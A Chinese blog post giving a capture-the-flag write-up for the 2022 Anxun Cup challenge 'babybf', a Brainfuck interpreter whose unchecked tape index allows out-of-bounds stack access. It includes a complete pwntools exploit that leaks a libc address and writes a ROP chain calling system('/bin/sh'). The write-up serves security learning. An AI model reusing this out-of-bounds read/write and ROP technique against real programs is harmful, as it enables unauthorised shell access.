• 2022安洵杯babybf


    babybf

    赛后分析了下,发现是一道很有意思的题目

    Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

    其实本题是一个c语言实现的Brainfuck语言的解释器,就是让我们输入Brainfuck语言去pwn

    分析:

    当然我们一开始啥都不知道,ida打开程序,主要分析这里的数组
    请添加图片描述

    这里把我们输入的code当作数组的下标进去转换

    我们看这个数组是啥东西
    请添加图片描述

    我们要转换到这些00~08的值的话就要送一些特定的字符

    其实这里相当于对应选项v4[0~8],去执行一些命令

    请添加图片描述

    我们计算一下地址可以得到对应的字符

    例:0:(0x2110-0x2020)/4=0x3c=“<”

    总结可得:

    0:\x3c -->"<"
    1:\x3e -->">"
    2:\x2b -->"+"
    3:\x2d -->"-"
    4:\x2e -->"."
    5:\x2c -->","
    6:\x5b -->"["
    7:\x5d -->"]"
    8:\x00
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这其实就是Brainfuck语言的字符标识

    Brainfuck程序可以用下面的替换方法翻译成C语言(这题ptr是在栈上):

    BrainfuckC
    >++ptr;
    <–ptr;
    +++*ptr;
    -–*ptr;
    .putchar(*ptr);
    ,*ptr =getch();
    [while (*ptr) {
    ]}

    利用:

    这题漏洞在数组越界,没对下标做检查

    我们通过调试可得初始位置ptr在0x7fffe0c1eb60

    请添加图片描述

    在栈上的固定偏移如下

    请添加图片描述

    接下来就好做了,(偏移0x20)泄露libc,(偏移0x38)写rop到ret处执行system(“/bin/sh”)

    Exp:

    from pwn import * 
    local_file  = './chall'
    local_libc  = './libc-2.27.so'
    remote_libc = './libc-2.27.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    #-----------------------------
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    def cmd(content):
        sla("len> ",str(len(content)))
        sea("code> ",content)
    #------------------------
    #debug()
    cmd(">"*0x20+".>.>.>.>.>.")
    libc_base=uu64(ru("\x7f")[-6:])-0x401B40
    info("libc_base",libc_base)
    pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
    system=libc_base+libc.sym['system']
    binsh=libc_base+libc.search("/bin/sh").next()
    ret = libc_base + next(libc.search(asm('ret')))
    
    payload=flat(ret,pop_rdi,binsh,system)
    print(len(payload))
    cmd(">"*0x38+",>"*(len(payload)-1)+',')
    r.send(payload)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
  • 相关阅读:
    广州虚拟动力数字人实时驱动解决方案,赋能虚拟IP、虚拟直播、品牌发布会...
    100天精通Python(可视化篇)——第99天:Pyecharts绘制多种炫酷K线图参数说明+代码实战
    python--gdal:tif图像坐标/投影坐标/经纬度转换(理清i和j的顺序)
    VBA_MF系列技术资料1-202
    用38行C++代码实现随机排序
    TVS专业术语解读
    python 学习笔记(6)—— 错误和异常
    linuxC基础
    vuepress-plugin-comment -use Valine
    优秀的项目经理如何寻找到价值贡献点?如何成为价值型项目经理?
  • 原文地址:https://blog.csdn.net/m0_51251108/article/details/128118624